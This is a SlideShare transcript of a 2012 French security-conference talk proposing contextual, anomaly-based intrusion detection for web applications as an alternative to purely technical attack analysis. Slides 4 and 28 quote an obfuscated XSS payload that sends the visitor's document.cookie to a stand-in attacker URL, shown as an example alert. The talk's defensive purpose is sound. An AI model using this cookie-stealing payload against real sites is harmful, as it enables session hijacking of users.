Your SlideShare is downloading. ×
ASFWS 2012 - Sécurité des applications web, analyse technique vs. analyse contextuelle par Matthieu Estrade
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Saving this for later?

Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime - even offline.

Text the download link to your phone

Standard text messaging rates apply

ASFWS 2012 - Sécurité des applications web, analyse technique vs. analyse contextuelle par Matthieu Estrade

681
views

Published on

La sécurité informatique et en particulier la sécurité des applications web est un sujet abordé le plus souvent par l’expertise technique. …

La sécurité informatique et en particulier la sécurité des applications web est un sujet abordé le plus souvent par l’expertise technique.
Cette expertise requise pour gérer au quotidien les menaces web est assez élevée et est souvent dispersée au sein de l’entreprise.
Cependant, il existe au quotidien énormément de domaines dans lesquels la sécurité et l’analyse des risques ne repose pas sur cette expertise mais sur une analyse contextuelle.
Nous verrons comment ce genre d’analyse peut s’adapter, via de nouveaux moteurs de détections d’intrusions, aux applications web et peut permettre d’analyser et comprendre une menace sans se baser sur des éléments techniques.


0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
681
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
27
Comments
0
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Défense des applicationsweb, analyse technique vsanalyse contextuelleMatthieu EstradeCTO/ BeeWare Application Security Forum - 2012 Western Switzerland 7-8 novembre 2012 - Y-Parc / Yverdon-les-Bains https://www.appsec-forum.ch
  • 2. Le Web Basé sur des RFC et des standards datant de 1989… Un protocole qui ne gère pas nativement les sessions Plus de 90% des entreprises ont au moins un intranet/extranet Web Les dernières technologies IT utilisent massivement HTTP – Mobilité (Synchronisation, applications distantes) – Cloud (API REST, Webservices etc.)
  • 3. La sécurité desapplications Web Plus complexe que la sécurité réseau – Des données hétérogènes – Des données en provenance de l’utilisateur – Des standards pas forcément respectés – Des frameworks de développement + ou - évolués Demande une expertise éparpillée dans l’entreprise – Système – Réseau – Développement – Sécurité Ces équipes ne parlent le même langage…
  • 4. Des contraintes d’exploitation:Les faux positifs Demandent une analyse poussée sur la requête pour désactiver ou non une règle de sécurité Peuvent être générés par l’application elle-même, car mal développée Peuvent rapidement inonder les logs et rendre le dispositif de sécurité inopérant Un expert sécurité analyse une attaque Un exploitant analyse une requête ! value» onclick=«var _0xc454 = ["x68x74x74x70x3Ax2Fx2Fx68x61x63x6Bx33x72x2Ex6Fx7 2x67x2Fx65x76x69x6Cx2Ex70x68x70x3Fx63x6Fx6Fx6Bx6 9x65x3D","x63x6Fx6Fx6Bx69x65","x6Fx70x65x6E"];window[_ 0xc454[2]](_0xc454[0]+document[_0xc454[1]]);
  • 5. Analyse d’une attaque Analyse technique d’une tentative d’exploitation de vulnérabilité Des techniques connues – TOP10 Owasp, WASC TC v2… Des variantes en fonction des différents composants de l’infrastructure HTTP – (Encoding, Serveur web, Annuaire, DB etc.) Mesure de l’impact (ex: CVSS)
  • 6. Une compétition technique Recherche de vulnérabilités Exploitation Mise en place de Mise en place de contre-mesures défenses Recherche de contournement Obfuscation
  • 7. L’infrastructure HTTP Devient de plus en plus importante – De 10 à +3000 applications… Devient de plus en plus complexe – Plusieurs étages de traitements, fonctionnement « event », webservices, authentification, base de données etc. Génère de plus en plus de trafic Demande de plus en plus de contrôle
  • 8. L’analyse technique Devient difficile à effectuer sur TOUTES les attaques et TOUS les incidents Elle consomme un temps important dans les équipes sécurité L’expertise requise est éparpillée dans l’entreprise et n’est pas tout le temps disponible
  • 9. La sécurité dans la vie de tousles jours N’est pas ou peu basée sur des critères techniques Est analysée à chaque instant Est analysée de façon progressive en fonction du contexte Oppose des situations normales / anormales Imaginez si vous deviez analyser techniquement chaque situation pour savoir si vous êtes en sécurité !
  • 10. Analyse du contexte vs Analysetechnique Depuis que vous êtes à Yverdon, à l’Application Security Forum, dans cette salle, votre analyse sur votre sécurité est différente Vous n’avez pas compté les caméras de surveillance ni recherché des retours sur leur efficacité sur Google ! Vous n’effectuez pas d’analyse de risque sur chaque personne que vous croisez !
  • 11. Analyse du contexte vs Analysetechnique Et pourtant ! – Vous savez que vous êtes en sécurité – Vous êtes dans une situation de confiance Qu’est-ce qui remonterait votre niveau de vigilance ? – Un évènement / situation qui sort du contexte ! – Une anomalie
  • 12. Quelle adaptation pourHTTP ? Il existe un contexte d’utilisation pour les applications et services web Il existe un contexte d’utilisation de l’infrastructure HTTP Il est possible de déterminer des situations normales et anormales dans ces différents contexte Tout cela sans utiliser une expertise sécurité pour déterminer ce qui est menaçant.
  • 13. Utilisation normale vsanomalie Une application est utilisée de façon normale par TOUS ses utilisateurs normaux ! L’application génère elle-même son trafic – C’est elle qui construit les liens de façon dynamique – C’est elle qui propose le contenu et qui guide l’utilisateur dans la manière de l’utiliser Il est donc possible de définir par la masse de trafic une navigation « normale »
  • 14. Utilisation normale vsanomalie Les utilisateurs d’une application ont souvent le même profil – Poste de travail, périphérique mobile, Webservice Ils ont souvent le même comportement sur l’application – Lecture du contenu, clic sur les liens intéressants, recherche d’information les concernants – Navigation commune
  • 15. Utilisation normale vsanomalie Une application est souvent utilisée par des clients d’une même zone géographique, ou au contraire d’une multitude d’endroits. Selon cette provenance géographique, il est possible d’associer une réputation au client
  • 16. Spécialiser les analyses parcritères Connaissance De l’application Détection de Analyse de la contenu offensif navigation Analyse contextuelle Détection du Réputation du type de client client Géolocalisation
  • 17. Chaque critère = un agent Analyse par les agents  Fournit trois métriques par analyse – Connaissance de la situation Résultat – Fiabilité de cette connaissance – Dangerosité de cette situation Apprentissage  Est influencé par les autres par chaque agent agents  Chaque agent apprend selon le résultat des autres
  • 18. Connaissance del’application Construction en temps réel de la structure de l’application Détection des formats Algorithme des phéromones de fourmis Connaissance en temps réel – De l’utilisation des ressources à l’instant T et dans un passé proche: Tendance actuelle – De l’utilisation des ressources depuis qu’elles ont été demandées: Historique
  • 19. Analyse du client Réputation de l’utilisateur – Basée sur son utilisation des ressources et sur le résultat de l’agent connaissance de l’application – Basée sur le résultat de l’agent de détection de contenu offensif – Basée sur les informations d’authentification – Partagée entre les différents boitiers – Possibilité de croiser les résultats avec des bases externes
  • 20. Analyse du client Fingerprint – Poste de travail, plateforme mobile, Webservices – Détection de la version du client – Analyse de l’ordre d’envoi des headers – Analyse des options installées Géolocalisation – Provenance externe ou interne – Statistique d’utilisation sur les différents pays – Définition des pays à risque
  • 21. Analyse de la navigation Fréquence d’utilisation des ressources – Détection des processus automatisés – Temps entre les différentes demandes Type de ressources demandées – Téléchargement des images et feuilles de style Enchainement des actions – Récupération des formulaires d’authentification – Accès direct aux ressources sensibles
  • 22. Détection de contenuoffensif Analyse du contenu en fonction de son utilisation Méthodes de détection de vulnérabilité et d’analyse de la structure applicative Exploitation de vulnérabilité, injection de commande, de syntaxes SQL, de Javascript etc. Tentatives de compromission avec mise en place de backdoor, exécution de commandes etc.
  • 23. Des indicateurs nontechniques Cette requête utilise la ressource index.php comme 97% des utilisateurs lors des dernières 30 minutes Cette requête utilise la ressource index.php comme 99,6% des utilisateurs depuis qu’elle est disponible Cette requête contient un contenu suspicieux Cette requête a été effectuée par un navigateur conforme à 98% à Internet Explorer 8 Cette requête provient de la France comme 98% des visites Ce client a accédé à cette ressource en ayant suivi une navigation commune à 87% des utilisateurs
  • 24. Plusieurs utilisationspossibles En complément d’un moteur classique de détection d’intrusion avec une classification technique – Aide à la décision et filtrage des évènements sécurité par niveau de vigilance Utilisation en standalone avec définition assistée du contexte applicatif
  • 25. Une prise de décisionprogressive Pondération des différents résultats au cours de l’analyse Un contexte et une utilisation connue de l’application vont faire baisser le niveau de vigilance de la détection de contenu offensif Mémorisation de l’utilisation récente de l’application Adaptation du contexte à chaque requête
  • 26. Processus décisionnel Connaissance +/- Connaissance +/- Détection de du client contenu Résultat l’application vigilance vigilance offensif Mémorisation de l’historique (passé proche)
  • 27. Adaptation progressive Une ressource jamais ou peu utilisée sera analysée avec une vigilance maximum sur le contenu offensif Une ressource connue utilisée avec du contenu offensif par la majorité des utilisateurs sera analysée avec une vigilance diminuée sur ce contenu offensif Au fur et à mesure de l’utilisation de l’application, le moteur détermine le contexte d’utilisation normal de l’application Utilisé sur une infrastructure HTTP, il peut aussi déterminer l’utilisation normale d’une application dans un ensemble de composants applicatifs
  • 28. Prise de décision Un filtrage possible selon l’importance de l’anomalie Des indicateurs non technique basés sur l’utilisation « normale » de l’application Une réduction progressive de la surface d’attaque Une simplicité et une compréhension de l’alerte sécurité Une rupture totale avec les alertes type XSS sur la variable id contenant par exemple: – value» onclick=«var _0xc454 = ["x68x74x74x70x3Ax2Fx2Fx68x61x63x6Bx33x72x2Ex6Fx72x 67x2Fx65x76x69x6Cx2Ex70x68x70x3Fx63x6Fx6Fx6Bx69x65x 3D","x63x6Fx6Fx6Bx69x65","x6Fx70x65x6E"];window[_0xc454[2]]( _0xc454[0]+document[_0xc454[1]]);
  • 29. En quelques mots… Sécurité renforcée – Adaptée au contexte applicatif – Différente du modèle classique whitelist/blacklist – Réduction progressive de la surface d’attaque Un exploitation simplifiée – Des indicateurs simples pour une décision rapide – Une analyse non technique – Un focus sur les anomalies et non les faux positifs
  • 30. 30Questions?
  • 31. 31Merci/Thank you!Contact: mestrade@bee-ware.net @mestrade Slides: http://slideshare.net/ASF-WS/presentations